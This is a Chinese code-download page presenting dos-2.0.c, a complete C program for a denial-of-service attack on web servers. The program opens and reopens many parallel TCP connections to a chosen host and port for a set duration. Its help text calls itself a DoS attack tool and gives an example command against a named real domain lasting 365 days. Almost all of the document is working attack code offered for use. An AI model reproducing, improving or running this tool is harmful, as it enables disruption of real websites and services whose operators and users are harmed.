⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 dos-2.0.c

📁 CGI DOS演示代码
💻 C
字号:
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <netinet/ip.h>
#include <netdb.h>
#include <getopt.h>
#include <errno.h>

extern int h_errno;

void usage(int rc);
int myselect(int wait);

#if 200>FD_SETSIZE
	#define MAXP FD_SETSIZE
#else
	#define MAXP 200
#endif


/* variable names
np number of currently parallel connections
nt total number of connections made so far
maxp maximum number of parallel connections
t0 unix time at program start
cl connection limit
*/

int s[FD_SETSIZE],cl=FD_SETSIZE;
unsigned int maxp=MAXP;
char *argv0;

int main(int argc, char **argv) {
int rc,i,np,c,opt1=0,nt=0;
unsigned int mytime=3600;
unsigned short port=80;
struct hostent *h;
struct sockaddr_in sa={AF_INET,0,{0}};
char *hostname="",timeunit='s';
time_t t0;


//how many sockets can we make?
for (i=0;i<FD_SETSIZE;i++) {
	if (-1==(s[i]=socket(PF_INET,SOCK_STREAM,6)) ) {
		if (EMFILE==errno) {
			cl=i;
			break;
		} else {
			perror("socket()");
			exit(8);
		}
	}
}
for (i=0;i<cl;i++) {
	close(s[i]);
	s[i]=-1;
}

argv0=argv[0];
if (argc==1) usage(0);

while (1) {
	c = getopt(argc, argv, "-hp:t:c:");
	if (c == -1) break;

	switch (c) {
	case 1:
		if (++opt1>1) {
			puts("too many arguments");
			exit(1);
		}
		hostname=optarg;
		break;
	case 'h':
		usage(0);
		break;

	case 'p':
		if (1!=sscanf(optarg,"%hd",&port)) {
			puts("invalid port");
			exit(2);
		}
		break;

	case 't':
		rc=sscanf(optarg,"%d%c",&mytime,&timeunit);
		if (2!=rc && 1!=rc) {
			puts("invalid time");
			exit(3);
		}
		switch (timeunit) {
		case 's':
			break;
		case 'm':
			mytime*=60;
			break;
		case 'h':
			mytime*=3600;
			break;
		case 'd':
			mytime*=24*3600;
			break;
		default:
			printf("Invalid time unit '%c'\n",timeunit);
			exit(3);
			break;
		}
		break;

	case 'c':
		if (1!=sscanf(optarg,"%d",&maxp)) {
			puts("invalid connection limit");
			exit(4);
		}
		if (maxp>cl) {
			printf("There are only %d simultaneous connections supported currently.\n",cl);
			puts("The readme file contains information about this limit.");
			exit(5);
		}
		break;

	case '?':
		exit(3);
		break;

	default:
		printf ("?? getopt returned character code 0%o ??\n", c);
		exit(6);
	}
}
printf ("time=%u, hostname=%s, port=%hu, connections=%u\n", mytime,hostname,port,maxp);

if (0==opt1) {
	puts("missing hostname");
	exit(8);
}


if (!(h=gethostbyname(hostname))) {
	printf("unknown host %s: %d\n",argv[1],h_errno);
	exit(6);
}
memcpy(&sa.sin_addr.s_addr,h->h_addr_list[0],h->h_length);
//sa.sin_addr.s_addr=h->h_addr_list[0];

sa.sin_port=htons(port);

t0=time(NULL);

while (1) {
	for (i=0;i<maxp;i++) {
		while (-1==s[i]) {
			if (-1==(s[i]=socket(PF_INET,SOCK_STREAM,6)) ) {
				perror("socket()");
				exit(8);
			}
			if (-1==connect(s[i],(struct sockaddr *) &sa,sizeof(sa))) {
			    perror("\nconnect failed");
				close(s[i]);
				s[i]=-1;
				sleep(1);
			} else {
				nt++;
			}
			np=myselect(0);
			printf(" %d/%d,%d/%d     \r",np,nt,(time(NULL)-t0),mytime);
			fflush(stdout);
			if (time(NULL)-t0>mytime) exit(10);
		}
	}
	if (np==maxp) {
		np=myselect(1);
		printf(" %d/%d,%d/%d     \r",np,nt,(time(NULL)-t0),mytime);
		fflush(stdout);
	}
	if (time(NULL)-t0>mytime) exit(10);
} //while 1
} // main()



int myselect(int wait) {
int np=0,i,retval,maxs=-1;
struct timeval tv;
fd_set rfds;

FD_ZERO(&rfds);
for (i=0;i<maxp;i++) {
	if (-1!=s[i]) {
		maxs=s[i]>maxs ? s[i] : maxs;
		FD_SET(s[i],&rfds);
		np++;
	}
}
if (-1==maxs++) return(0);

if (wait) {
	tv.tv_sec=1;
	tv.tv_usec=0;
} else {
	tv.tv_sec=0;
	tv.tv_usec=0;
}

retval = select(maxs, &rfds, NULL, NULL, &tv);
if (retval == -1) {
	perror("select()");
	exit(9);
} else if (0==retval) {
//	printf("select() returned with empty set?!?\n");
//	exit(2);
} else {
	for (i=0;i<maxp;i++) {
		if (s[i]!=-1 && FD_ISSET(s[i],&rfds)) {
			close(s[i]);
			s[i]=-1;
			np--;
		}
	}
}
return(np);
} //myselect()

void usage(int rc) {
puts("\ndos version 2.0 - denial of service attack against web servers:");
printf("Usage: %s options hostname\n",argv0);
puts("options with default values:");
puts("-h      this help");
puts("-p 80   port number of remote host to connect to");
printf("-c %d  maximum number of simultaneous connections\n",200>cl ? cl : 200);
puts("-t 1h   duration of dos attack. possible units:");
puts("s=seconds (default)");
puts("m=minutes");
puts("h=hours");
puts("d=days");
printf("\nExample: %s -t 365d trafficmagnet.com -c 20\n",argv0);
puts("\nWarning! DoS attacks may be illegal in your country.");
puts("Your ISP may close your internet access.");
puts("Your IP address (which identifies your internet connection)");
puts("typically appears in the attacked servers log files.");
puts("This may be improved in future versions.");
puts("\nThe readme file contains further hints and information.\n");
exit(rc);
} //usage()

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -